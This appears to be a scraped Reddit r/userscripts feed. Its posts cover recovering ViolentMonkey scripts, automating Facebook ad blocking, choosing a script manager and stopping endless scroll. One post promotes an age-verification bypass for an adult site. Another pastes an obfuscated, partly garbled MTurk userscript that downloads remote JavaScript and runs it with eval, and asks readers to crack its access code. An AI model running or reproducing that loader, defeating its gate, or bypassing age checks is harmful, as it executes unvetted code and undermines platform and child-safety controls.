r/userscripts

Python-script for extracting ViolentMonkey userscripts from *.LDB file
▲ 14 r/userscripts+2 crossposts

Python-script for extracting ViolentMonkey userscripts from *.LDB file

Recently ViolentMonkey got disabled in Brave browser, making impossible to run neither extract userscripts you made while having the extension.

I wrote a windowed Python script for extracting the scripts from *.ldb database into separated *.js files. (After installing, don't launch *.js files directly in the Windows – you should open them as text files and copy-paste contents of each into a new script of... OrangeMonkey or something.)

How to use it:

  1. Install Python, if you don't have https://www.python.org/;

Installing dependencies
-------------------------
    pip install tkinterdnd2      # for drag-and-drop in the window (optional)
    pip install python-snappy    # for decompressing compressed blocks (optional)
        # or
    pip install cramjam          # alternative to python-snappy (optional)
  1. Download the script: https://pastebin.com/GtmEaGuQ . Name the file, like, vm_extractor_eng.pyw.

  2. Launch by double-clicking (in Windows). Probably works on Linux and Mac as well.

  3. Load the file (by drag-and-dropping or with Open File button). The location is: C:\Users\Username\AppData\Local\BraveSoftware\Brave-Browser\User-Data\Default\Local Extension Settings\jinjaccalgkegednnccohejagnlnfdag\000005.ldb, or similar. (jinjaccalgkegednnccohejagnlnfdag was the id for latest ViolentMonkey https://chromewebstore.google.com/detail/violentmonkey/jinjaccalgkegednnccohejagnlnfdag?pli=1.)

  4. It's recommended to enable the "Show only the latest version of each script". As you can see, old versions of scripts also stored in the database; even those that you completely deleted, still will appear – if you disabled the checkbox.

  5. Click Save All and choose a folder.

  6. Using your new scripts engine (like OrangeMonkey), create new userscript for every file and copy-paste the content. Notice that for make OrangeMonkey work, you should enable "Allow User Scripts" here: extensions button → Manage extensions → Orange Monkey's "Details" → enable Allow User Scripts; then you have to relaunch browser, that is close all browser's windows then open the browser again.

u/nothingxmc — 2 days ago

[Script] SpankBang Bypass, Age verification & Login-Walls

  • Removes Blur: Instantly clears blurred thumbnails and video previews.
  • Bypasses Overlays: Removes age verification gates and registration promos that block the view.
  • Unlocks UI: Removes lock-icons and restores normal scrolling/hover behavior.
  • Lightweight: Injects CSS at document-start for zero flicker.

Installation: You can find the script here: https://sleazyfork.org/scripts/574330/

reddit.com
u/Wack3gp — 4 days ago

Setting up a script to Block Facebook ads and also block the advertiser's Facebook page.

For a few years now, I have been successful at stopping adverts on Facebook using the method below. It absolutely works, but it takes time to manually do this over and over again. Eventually, new ads start showing up after a few months and I am wondering if there is a more automated approach with a proper script. Perhaps tampermonkey is the answer. Either way, I would like to create a script that does the following on Facebook desktop:

  1. Find all advertisements on my Facebook feed.

  2. Right click the advertisers name.

  3. Select "Open link in new tab".

  4. Go back to the original tab.

  5. Click the three dots next to the advertisers ad.

  6. Select "Hide Ad".

  7. Select "Irrelevant".

  8. Select the option that begins with "Hide all ads from"

  9. Select "Done"

  10. Go Back to the tab with the advertiser's Facebook Page.

  11. Click on the three dots on the Facebook advertiser's page.

  12. Select "Block".

  13. Select Confirm. Select "Close".

  14. Close out the new tab.

Curious if anyone has any thoughts on this. The key is not only hiding all ads from an advertiser but also BLOCKING the advertiser after all ads have been hidden. The script has to be in this exact order to do both. In the past, I have found that the option to "hide all ads from this advertiser" only works for a short period. Blocking is the key.

reddit.com
u/FrozenHanSolo — 7 days ago

Brave beta no longer support violet monkey extension.

Brave beta no longer support violet monkey extension.

since its the best userscript manager out there, what should i switch to since this had great interface and was open source
tampermonkey wasn't open source
greasemonkey doesn't have great interface

u/Designer-Benefit-177 — 8 days ago
▲ 1 r/userscripts+1 crossposts

Userscript decode..

Hello folks,

Can anybody decode the userscript? I have one userscript which is specifically designed for one website.. whenever i access this particular website the userscript ask the access code..

If i give the access code then only the userscript start working.. i wanna to know what could be the access code.

Thanks for your valuable feedback in advance..

Below is the code..

// ==UserScript== // @name A2soft V6 pro (Protected) // @version 7 // @description Protected A2soft script + AutoPressS // @author Ar Bose // @match https://worker.mturk.com/tasks/* // @grant GM_xmlhttpRequest // @grant GM.getValues // @grant GM.setValue // ==/UserScript==

(function () { var _0x4a2b = [ "strict", "getItem", "ab2_auth", "Enter AB2soft access code:", "setItem", "authenticated", "Access denied!", "https://aqua-theo-29.tiiny.site/protected/real_script.js", "ok", "Script not found", "text", "Failed to load script:", "Failed to load AB2soft script", "charCodeAt", "fromCharCode", "length", "replace", "mK7pX2", ]; var _0x1f3c = function (_0x4a2b47, _0x1f3c82) { _0x4a2b47 = _0x4a2b47 - 0x0; var _0x2e5d73 = _0x4a2b[_0x4a2b47]; return _0x2e5d73; }; "use strict"; function _0x7d8e(_0x3c4f, _0x9b2a) { let _0x5e6d = ""; for (let _0x8f1c = 0; _0x8f1c < _0x3c4f[_0x1f3c("0xf")]; _0x8f1c++) { _0x5e6d += String[_0x1f3c("0xe")]( _0x3c4f_0x1f3c("0xd") ^ _0x9b2a[_0x1f3c("0xd")](_0x8f1c % _0x9b2a[_0x1f3c("0xf")]) ); } return _0x5e6d; } function _0x2a9f(_0x6e3b) { return _0x6e3b[_0x1f3c("0x10")](/[A-Za-z0-9]/g, function (_0x4d7c) { if (_0x4d7c >= "0" && _0x4d7c <= "9") { return String[_0x1f3c("0xe")]( ((_0x4d7c_0x1f3c("0xd") - 0x30 + 0x7) % 0xa) + 0x30 ); } else if (_0x4d7c >= "A" && _0x4d7c <= "Z") { return String[_0x1f3c("0xe")]( ((_0x4d7c_0x1f3c("0xd") - 0x41 + 0x17) % 0x1a) + 0x41 ); } else { return String[_0x1f3c("0xe")]( ((_0x4d7c_0x1f3c("0xd") - 0x61 + 0x17) % 0x1a) + 0x61 ); } }); }

const _0x3e7a = localStorage_0x1f3c("0x1"); if (!_0x3e7a) { const _0x6f1a = prompt(_0x1f3c("0x3")); const _0x8e4d = 0x1f3c("0x11"); const 0x9c7f = ",\t\x05 \n}{\x05D"; const _0x2b6a = "DE5SUR5357"; const _0x7e3b = _0x7d8e(_0x9c7f, _0x8e4d); const _0x4f8c = _0x2a9f(_0x2b6a); if (_0x6f1a === _0x7e3b || _0x6f1a === _0x4f8c) { localStorage_0x1f3c("0x4"), _0x1f3c("0x5")); } else { alert(_0x1f3c("0x6")); return; } }

fetch(_0x1f3c("0x7")) .then((_0x2a3b) => { if (!_0x2a3b[_0x1f3c("0x8")]) { throw new Error(_0x1f3c("0x9")); } return _0x2a3b_0x1f3c("0xa"); }) .then((_0x7e4f) => { eval(_0x7e4f);

  // ✅ Normal function included here
  function AB2softAutoPressS() {
    const exactURL = "https://worker.mturk.com/tasks/";
    if (window.location.href === exactURL) {
      function pressS() {
        const sKey = new KeyboardEvent("keydown", {
          key: "s",
          code: "KeyS",
          keyCode: 83,
          which: 83,
          bubbles: true,
          cancelable: true,
        });
        document.dispatchEvent(sKey);
        console.log("✅ AB2soft: Auto-pressed S");
      }

      const observer = new MutationObserver(() =&gt; {
        const btn = document.querySelector("#timer");
        if (btn) {
          observer.disconnect();
          setTimeout(pressS, 500);
        }
      });

      observer.observe(document.body, { childList: true, subtree: true });

      window.addEventListener("load", () =&gt; {
        const btn = document.querySelector("#timer");
        if (btn) setTimeout(pressS, 500);
      });
    }
  }

  // Call it once
  AB2softAutoPressS();
})
.catch((_0x8g5h) =&gt; {
  console.error(_0x1f3c("0xb"), _0x8g5h);
  alert(_0x1f3c("0xc"));
});

})();

reddit.com
u/Thick_Worldliness262 — 12 days ago

Challenge: Userscript to stop Reddit endless scroll on desktop - reduce doom scrolling

Anyone want to help improve the world by reducing doom scrolling. Who can create a userscript that stops reddit endless scroll on desktop.

Naturally will also need a button or other clear way for the user to intentionally load more posts or go to a next page. Otherwise, users will just disable the script.

Bonus: Configurable options that REDUCES number of posts that are shown at one time, even on the first load, if possible.

reddit.com
u/metabeing — 14 days ago